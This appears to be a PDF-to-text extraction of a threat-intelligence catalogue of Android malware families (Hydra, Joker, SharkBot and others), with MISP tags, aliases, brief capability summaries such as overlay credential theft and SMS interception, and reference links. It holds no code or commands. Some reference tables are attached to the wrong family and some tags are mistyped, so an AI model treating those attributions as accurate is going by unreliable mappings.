According to ThreatFabric, this is a malware family based on apk.ermac. The name hook is the self-advertised named by its vendor DukeEugene. It provides WebSocket communication and has RAT capabilities.

The tag is: `misp-galaxy:malpedia="Hook"`

Hook is also known as:
Hydra

Avira states that Hydra is an Android BankBot variant, a type of malware designed to steal banking credentials. The way it does this is by requesting the user enables dangerous permissions such as accessibility and every time the banking app is opened, the malware is hijacking the user by overwriting the legit banking application login page with a malicious one. The goal is the same, to trick the user to enter his login credentials so that it will go straight to the malware authors.

The tag is: misp-galaxy:malpedia=“Hydra”

Hydra is also known as:

Table 1735. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.hydra">https://malpedia.caad.fkie.fraunhofer.de/details/apk.hydra</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/malware-analysis/hydra/">https://muha2xmad.github.io/malware-analysis/hydra/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/muha2xmad/status/157078983474638849">https://twitter.com/muha2xmad/status/157078983474638849</a></td>
</tr>
<tr>
<td><a href="https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221">https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221</a></td>
</tr>
<tr>
<td><a href="https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5">https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5</a></td>
</tr>
<tr>
<td><a href="https://pentest.blog/android-malware-analysis-dissecting-hydra-dropper/">https://pentest.blog/android-malware-analysis-dissecting-hydra-dropper/</a></td>
</tr>
<tr>
<td><a href="https://cryptax.medium.com/android-bianlian-payload-61febabed00a">https://cryptax.medium.com/android-bianlian-payload-61febabed00a</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/">https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/</a></td>
</tr>
</tbody>
</table>

IPStorm (Android)

Android variant of IPStorm (InterPlanetary Storm).

The tag is: misp-galaxy:malpedia=“IPStorm (Android)”

IPStorm (Android) is also known as:

- InterPlanetary Storm

Table 1736. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

624
IRATA

According to redpiranha, IRATA (Iranian Remote Access Trojan) Android Malware is a new malware detected in the wild. It originates from a phishing attack through SMS. The theme of the message resembles information coming from the government that will ask you to download this malicious application. IRATA can collect sensitive information from your mobile phone including bank details. Since it infects your mobile, it can also gather your SMS messages which then can be used to obtain 2FA tokens.

The tag is: misp-galaxy:malpedia="IRATA"

IRATA is also known as:

Table 1737. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.irata">https://malpedia.caad.fkie.fraunhofer.de/details/apk.irata</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/muha2xmad/status/1562831996078157826">https://twitter.com/muha2xmad/status/1562831996078157826</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/malware-analysis/irata/">https://muha2xmad.github.io/malware-analysis/irata/</a></td>
</tr>
<tr>
<td><a href="https://onecert.ir/portal/blog/irata">https://onecert.ir/portal/blog/irata</a></td>
</tr>
</tbody>
</table>

IRRat

The tag is: misp-galaxy:malpedia="IRRat"

IRRat is also known as:

Table 1738. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.irrat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.irrat</a></td>
</tr>
</tbody>
</table>

JadeRAT

The tag is: misp-galaxy:malpedia="JadeRAT"

JadeRAT is also known as:

Table 1739. Table References
Joker

Joker is one of the most well-known malware families on Android devices. It manages to take advantage of Google’s official app store with the help of its trail signatures which includes updating the virus’s code, execution process, and payload-retrieval techniques. This malware is capable of stealing users’ personal information including contact details, device data, WAP services, and SMS messages.

The tag is: `misp-galaxy:malpedia="Joker"`

Joker is also known as:

- Bread

Table 1740. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.jaderat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.jaderat</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/mobile-threat-jaderat">https://blog.lookout.com/mobile-threat-jaderat</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/malware-analysis/hydra/">https://muha2xmad.github.io/malware-analysis/hydra/</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/index.php/joker-unleashes-itself-again-on-google-play-store/">https://labs.k7computing.com/index.php/joker-unleashes-itself-again-on-google-play-store/</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/?p=22199">https://labs.k7computing.com/?p=22199</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/06/30/toll-fraud-malware-how-an-android-application-can-drain-your-wallet/">https://www.microsoft.com/security/blog/2022/06/30/toll-fraud-malware-how-an-android-application-can-drain-your-wallet/</a></td>
</tr>
</tbody>
</table>
KevDroid
The tag is: `misp-galaxy:malpedia="KevDroid"`

KevDroid is also known as:

Table 1741. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.kevdroid">https://malpedia.caad.fkie.fraunhofer.de/details/apk.kevdroid</a></td>
</tr>
</tbody>
</table>

KnSpy
The tag is: `misp-galaxy:malpedia="KnSpy"`

KnSpy is also known as:

Table 1742. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.knsy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.knsy</a></td>
</tr>
<tr>
<td><a href="https://blogs.360.cn/post/APT-C-35_target_at_armed_forces_in_Pakistan.html">https://blogs.360.cn/post/APT-C-35_target_at_armed_forces_in_Pakistan.html</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/10/donot-firestarter.html">https://blog.talosintelligence.com/2020/10/donot-firestarter.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/voodoodahl1/status/1267571622732578816">https://twitter.com/voodoodahl1/status/1267571622732578816</a></td>
</tr>
<tr>
<td><a href="https://s.tencent.com/research/report/951.html">https://s.tencent.com/research/report/951.html</a></td>
</tr>
<tr>
<td><a href="https://cybleinc.com/2021/04/21/donot-team-apt-group-is-back-to-using-old-malicious-patterns/">https://cybleinc.com/2021/04/21/donot-team-apt-group-is-back-to-using-old-malicious-patterns/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/6f60db72">https://community.riskiq.com/article/6f60db72</a></td>
</tr>
</tbody>
</table>

Koler
The tag is: `misp-galaxy:malpedia="Koler"`

Koler is also known as:

Table 1743. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.koler">https://malpedia.caad.fkie.fraunhofer.de/details/apk.koler</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/LukasStefanko/status/928262059875213312">https://twitter.com/LukasStefanko/status/928262059875213312</a></td>
</tr>
</tbody>
</table>
KSREMOTE

The tag is: misp-galaxy:malpedia="KSREMOTE"

KSREMOTE is also known as:

Table 1744. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.ksremote">https://malpedia.caad.fkie.fraunhofer.de/details/apk.ksremote</a></td>
</tr>
</tbody>
</table>

LittleLooter

The tag is: misp-galaxy:malpedia="LittleLooter"

LittleLooter is also known as:

Table 1745. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.little_looter">https://malpedia.caad.fkie.fraunhofer.de/details/apk.little_looter</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=nilzxS9rxEM">https://www.youtube.com/watch?v=nilzxS9rxEM</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1337684036374945792">https://twitter.com/malwrhunterteam/status/1337684036374945792</a></td>
</tr>
</tbody>
</table>

Loki

The tag is: misp-galaxy:malpedia="Loki"

Loki is also known as:

Table 1746. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.loki">https://malpedia.caad.fkie.fraunhofer.de/details/apk.loki</a></td>
</tr>
<tr>
<td><a href="http://blog.checkpoint.com/2017/03/10/preinstalled-malware-targeting-mobile-users/">http://blog.checkpoint.com/2017/03/10/preinstalled-malware-targeting-mobile-users/</a></td>
</tr>
</tbody>
</table>

LokiBot

Android banker Trojan with the standard banking capabilities such as overlays, SMS stealing. It also features ransomware functionality. Note, the network traffic is obfuscated the same way as in
Android Bankbot.

The tag is: misp-galaxy:malpedia="LokiBot"

LokiBot is also known as:

Table 1747. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot</a></td>
</tr>
<tr>
<td><a href="https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html">https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/144cOnM6fxfuBeP0V2JQoshp8C0Zlk_0kH/view">https://drive.google.com/file/d/144cOnM6fxfuBeP0V2JQoshp8C0Zlk_0kH/view</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/">https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/mal-document/lokibotpdf/">https://muha2xmad.github.io/mal-document/lokibotpdf/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/27282">https://isc.sans.edu/diary/27282</a></td>
</tr>
</tbody>
</table>

LuckyCat

The tag is: misp-galaxy:malpedia="LuckyCat"

LuckyCat is also known as:

Table 1748. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.luckycat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.luckycat</a></td>
</tr>
</tbody>
</table>

Mandrake

The tag is: misp-galaxy:malpedia="Mandrake"

Mandrake is also known as:

Table 1749. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.mandrake">https://malpedia.caad.fkie.fraunhofer.de/details/apk.mandrake</a></td>
</tr>
</tbody>
</table>
Marcher

The tag is: `misp-galaxy:malpedia="Marcher"`

Marcher is also known as:

- ExoBot

MasterFred

According to heimdal, MasterFred malware, this is designed as an Android trojan that makes use of false login overlays to target not only Netflix, Instagram, and Twitter users, but also bank customers. The hackers’ goal is to steal credit card information.

The tag is: `misp-galaxy:malpedia="MasterFred"`

MasterFred is also known as:

- Brox

MazarBot

The tag is: `misp-galaxy:malpedia="MazarBot"`

MazarBot is also known as:
Medusa (Android)

According to ThreatFabric, this is an Android banking trojan under active development as of July 2020. It is using TCP for C&C communication and targets Turkish banks.

The tag is: `misp-galaxy:malpedia="Medusa (Android)"`

Medusa (Android) is also known as:

- Gorgona

Table 1753. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.medusa">https://malpedia.caad.fkie.fraunhofer.de/details/apk.medusa</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ThreatFabric/status/1285144962695340032">https://twitter.com/ThreatFabric/status/1285144962695340032</a></td>
</tr>
</tbody>
</table>

Meterpreter (Android)

The tag is: `misp-galaxy:malpedia="Meterpreter (Android)"

Meterpreter (Android) is also known as:

Table 1754. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.meterpreter">https://malpedia.caad.fkie.fraunhofer.de/details/apk.meterpreter</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w">https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w</a></td>
</tr>
</tbody>
</table>
MobileOrder

Check Point has identified samples of this spyware being distributed since 2015. No samples were found on Google Play, meaning they were likely through other channels like social engineering.

The tag is: misp-galaxy:malpedia="MobileOrder"

MobileOrder is also known as:

Table 1755. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.mobile_order">https://malpedia.caad.fkie.fraunhofer.de/details/apk.mobile_order</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2022/never-truly-left-7-years-of-scarlet-mimics-mobile-surveillance-campaign-targeting-uyghurs/">https://research.checkpoint.com/2022/never-truly-left-7-years-of-scarlet-mimics-mobile-surveillance-campaign-targeting-uyghurs/</a></td>
</tr>
</tbody>
</table>

Monokle

Monokle is a sophisticated mobile surveillanceware that possesses remote access trojan (RAT) functionality, advanced data exfiltration techniques as well as the ability to install an attacker-specified certificate to the trusted certificates on an infected device that would allow for man-in-the-middle (MITM) attacks. According to Lookout researchers, It is believed to be developed by Special Technology Center (STC), which is a Russian defense contractor sanctioned by the U.S. Government in connection to alleged interference in the 2016 US presidential elections.

The tag is: misp-galaxy:malpedia="Monokle"

Monokle is also known as:

Table 1756. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.monokle">https://malpedia.caad.fkie.fraunhofer.de/details/apk.monokle</a></td>
</tr>
</tbody>
</table>

MoqHao

The tag is: misp-galaxy:malpedia="MoqHao"

MoqHao is also known as:

- Shaoye
- XLoader

Table 1757. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.moqhao">https://malpedia.caad.fkie.fraunhofer.de/details/apk.moqhao</a></td>
</tr>
</tbody>
</table>
MOrder RAT

The tag is: missp-galaxy:malpedia="MOrder RAT"

MOrder RAT is also known as:

Table 1758. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/apk.morder_rat
https://www.ctfiot.com/138538.html

Mudwater

The tag is: missp-galaxy:malpedia="Mudwater"

Mudwater is also known as:
MysteryBot

MysteryBot is an Android banking Trojan with overlay capabilities with support for Android 7/8 but also provides other features such as key logging and ransomware functionality.

The tag is: `misp-galaxy:malpedia="MysteryBot"`

MysteryBot is also known as:

Nexus

The tag is: `misp-galaxy:malpedia="Nexus"`

Nexus is also known as:

OmniRAT

The tag is: `misp-galaxy:malpedia="OmniRAT"`

OmniRAT is also known as:
Oscorp

The tag is: misp-galaxy:malpedia="Oscorp"

Oscorp is also known as:

• UBEL

PackChat

The tag is: misp-galaxy:malpedia="PackChat"

PackChat is also known as:

PhantomLance

The tag is: misp-galaxy:malpedia="PhantomLance"

PhantomLance is also known as:

• PWNDROID1
PhoneSpy

According to Zimperium, PhoneSpy is a spyware aimed at South Korean residents with Android devices.

The tag is: `misp-galaxy:malpedia="PhoneSpy"`

PhoneSpy is also known as:

Table 1766. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.phonespy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.phonespy</a></td>
</tr>
</tbody>
</table>

PINEFLOWER

According to Mandiant, PINEFLOWER is an Android malware family capable of a wide range of backdoor functionality, including stealing system inform information, logging and recording phone calls, initiating audio recordings, reading SMS inboxes and sending SMS messages. The malware also has features to facilitate device location tracking, deleting, downloading, and uploading files, reading connectivity state, speed, and activity, and toggling Bluetooth, Wi-Fi, and mobile data settings.

The tag is: `misp-galaxy:malpedia="PINEFLOWER"`

PINEFLOWER is also known as:

Table 1767. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.pineflower">https://malpedia.caad.fkie.fraunhofer.de/details/apk.pineflower</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/media/17826">https://www.mandiant.com/media/17826</a></td>
</tr>
</tbody>
</table>
PixPirate

According to PCrisk, The PixPirate is a dangerous Android banking Trojan that has the capability to carry out ATS (Automatic Transfer System) attacks. This allows threat actors to automatically transfer funds through the Pix Instant Payment platform, which numerous Brazilian banks use.

In addition to launching ATS attacks, PixPirate can intercept and delete SMS messages, prevent the uninstallation process, and carry out malvertising attacks.

The tag is: `misp-galaxy:malpedia="PixPirate"`

PixPirate is also known as:

Table 1768. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixpirate">https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixpirate</a></td>
</tr>
</tbody>
</table>

PixStealer

The tag is: `misp-galaxy:malpedia="PixStealer"`

PixStealer is also known as:

- BrazKing

Table 1769. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixstealer">https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixstealer</a></td>
</tr>
</tbody>
</table>

PjobRAT

The tag is: `misp-galaxy:malpedia="PjobRAT"`

PjobRAT is also known as:

Table 1770. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.pjobrat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.pjobrat</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/VTHvmRTeu3dw8HFyusKLqQ">https://mp.weixin.qq.com/s/VTHvmRTeu3dw8HFyusKLqQ</a></td>
</tr>
</tbody>
</table>
Podec

The tag is: `misp-galaxy:malpedia="Podec"

Podec is also known as:

Table 1771. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.podec">https://malpedia.caad.fkie.fraunhofer.de/details/apk.podec</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/jack-of-all-trades/83470/">https://securelist.com/jack-of-all-trades/83470/</a></td>
</tr>
</tbody>
</table>

X-Agent (Android)

The tag is: `misp-galaxy:malpedia="X-Agent (Android)"

X-Agent (Android) is also known as:

- Popr-d30

Table 1772. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.popr-d30">https://malpedia.caad.fkie.fraunhofer.de/details/apk.popr-d30</a></td>
</tr>
</tbody>
</table>

Fake Pornhub

The tag is: `misp-galaxy:malpedia="Fake Pornhub"

Fake Pornhub is also known as:

Table 1773. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.pornhub">https://malpedia.caad.fkie.fraunhofer.de/details/apk.pornhub</a></td>
</tr>
</tbody>
</table>

Premier RAT

The tag is: `misp-galaxy:malpedia="Premier RAT"
Premier RAT is also known as:

Table 1774. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.premier_rat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.premier_rat</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/LukasStefanko/status/1084774825619537925">https://twitter.com/LukasStefanko/status/1084774825619537925</a></td>
</tr>
</tbody>
</table>

**Rafel RAT**

The tag is: `misp-galaxy:malpedia="Rafel RAT"`

Rafel RAT is also known as:

Table 1775. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.rafelrat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.rafelrat</a></td>
</tr>
<tr>
<td><a href="https://github.com/swagkarna/Rafel-Rat">https://github.com/swagkarna/Rafel-Rat</a></td>
</tr>
</tbody>
</table>

**RambleOn**

The tag is: `misp-galaxy:malpedia="RambleOn"`

RambleOn is also known as:

Table 1776. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.rambleon">https://malpedia.caad.fkie.fraunhofer.de/details/apk.rambleon</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wblog/scarcruft-bolsters-arsenal-for-targeting-individual-android-devices-97d2bcef4ab">https://medium.com/s2wblog/scarcruft-bolsters-arsenal-for-targeting-individual-android-devices-97d2bcef4ab</a></td>
</tr>
<tr>
<td><a href="https://interlab.or.kr/archives/2567">https://interlab.or.kr/archives/2567</a></td>
</tr>
</tbody>
</table>

**Rana**

The tag is: `misp-galaxy:malpedia="Rana"`

Rana is also known as:

Table 1777. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.rana">https://malpedia.caad.fkie.fraunhofer.de/details/apk.rana</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/rana-android-malware">https://blog.reversinglabs.com/blog/rana-android-malware</a></td>
</tr>
</tbody>
</table>
RatMilad

RatMilad, a newly discovered Android spyware, has been stealing data from mobile devices in the Middle East. The malware is spread through links on social media and pretends to be applications for services like VPN and phone number spoofing. Unwary users download these trojan applications and grant access to malware.

The tag is: `misp-galaxy:malpedia="RatMilad"`

RatMilad is also known as:

Table 1778. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.ratmilad">https://malpedia.caad.fkie.fraunhofer.de/details/apk.ratmilad</a></td>
</tr>
<tr>
<td><a href="https://socradar.io/new-spyware-ratmilad-targets-middle-eastern-mobile-devices">https://socradar.io/new-spyware-ratmilad-targets-middle-eastern-mobile-devices</a></td>
</tr>
</tbody>
</table>

Raxir

The tag is: `misp-galaxy:malpedia="Raxir"`

Raxir is also known as:

Table 1779. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.raxir">https://malpedia.caad.fkie.fraunhofer.de/details/apk.raxir</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/PhysicalDrive0/statuses/798825019316916224">https://twitter.com/PhysicalDrive0/statuses/798825019316916224</a></td>
</tr>
</tbody>
</table>

RedAlert2

RedAlert 2 is an new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server. The malware also has the ability to block incoming calls from banks, to prevent the victim of being notified. As a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates.

The tag is: `misp-galaxy:malpedia="RedAlert2"`

RedAlert2 is also known as:

Table 1780. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.redalert2">https://malpedia.caad.fkie.fraunhofer.de/details/apk.redalert2</a></td>
</tr>
<tr>
<td><a href="https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html">https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html</a></td>
</tr>
</tbody>
</table>
RemRAT

The tag is: `misp-galaxy:malpedia="RemRAT"`

RemRAT is also known as:

**Table 1781. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.remrat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.remrat</a></td>
</tr>
</tbody>
</table>

Retefe (Android)

The Android app using for Retefe is a SMS stealer, used to forward mTAN codes to the threat actor. Further is a bank logo added to the specific Android app to trick users into thinking this is a legitimate app. Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger' tool, hence the victim’s phone doesn’t get infected.

The tag is: `misp-galaxy:malpedia="Retefe (Android)"

Retefe (Android) is also known as:

**Table 1782. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.retefe">https://malpedia.caad.fkie.fraunhofer.de/details/apk.retefe</a></td>
</tr>
<tr>
<td><a href="http://maldr0id.blogspot.ch/2014/09/android-malware-based-on-sms-encryption.html">http://maldr0id.blogspot.ch/2014/09/android-malware-based-on-sms-encryption.html</a></td>
</tr>
<tr>
<td><a href="https://www.govcert.admin.ch/blog/33/the-retefe-saga">https://www.govcert.admin.ch/blog/33/the-retefe-saga</a></td>
</tr>
</tbody>
</table>

Revive

According to PCrisk, Revive is the name of a banking Trojan targeting Android users (customers of a specific Spanish bank). It steals sensitive information. Cybercriminals use Revive to take ownership of online accounts using stolen login credentials. This malware abuses Accessibility Services to perform malicious activities.
The tag is: `misp-galaxy:malpedia="Revive"`

Revive is also known as:

*Table 1783. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.revive">https://malpedia.caad.fkie.fraunhofer.de/details/apk.revive</a></td>
</tr>
</tbody>
</table>

**Riltok**

The tag is: `misp-galaxy:malpedia="Riltok"`

Riltok is also known as:

*Table 1784. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.riltok">https://malpedia.caad.fkie.fraunhofer.de/details/apk.riltok</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/mobile-banker-riltok/91374/">https://securelist.com/mobile-banker-riltok/91374/</a></td>
</tr>
</tbody>
</table>

**Roaming Mantis**

The tag is: `misp-galaxy:malpedia="Roaming Mantis"`

Roaming Mantis is also known as:

*Table 1785. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.roaming_mantis">https://malpedia.caad.fkie.fraunhofer.de/details/apk.roaming_mantis</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/roaming-mantis-part-v/96250/">https://securelist.com/roaming-mantis-part-v/96250/</a></td>
</tr>
<tr>
<td><a href="https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/">https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/roaming-mantis-reaches-europe/105596/">https://securelist.com/roaming-mantis-reaches-europe/105596/</a></td>
</tr>
<tr>
<td><a href="https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf">https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf</a></td>
</tr>
</tbody>
</table>

**Rogue**

The tag is: `misp-galaxy:malpedia="Rogue"`
Rogue is also known as:

Table 1786. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.rogue">https://malpedia.caad.fkie.fraunhofer.de/details/apk.rogue</a></td>
</tr>
</tbody>
</table>

Rootnik

The tag is: `misp-galaxy:malpedia="Rootnik"`

Rootnik is also known as:

Table 1787. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.rootnik">https://malpedia.caad.fkie.fraunhofer.de/details/apk.rootnik</a></td>
</tr>
</tbody>
</table>

Sauron Locker

The tag is: `misp-galaxy:malpedia="Sauron Locker"`

Sauron Locker is also known as:

Table 1788. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.sauron_locker">https://malpedia.caad.fkie.fraunhofer.de/details/apk.sauron_locker</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/LukasStefanko/status/1117795290155819008">https://twitter.com/LukasStefanko/status/1117795290155819008</a></td>
</tr>
</tbody>
</table>

SharkBot

SharkBot is a piece of malicious software targeting Android Operating Systems (OSes). It is designed to obtain and misuse financial data by redirecting and stealthily initiating money transfers. SharkBot is particularly active in Europe (United Kingdom, Italy, etc.), but its activity has also been detected in the United States.

The tag is: `misp-galaxy:malpedia="SharkBot"`

SharkBot is also known as:
Table 1789. Table References

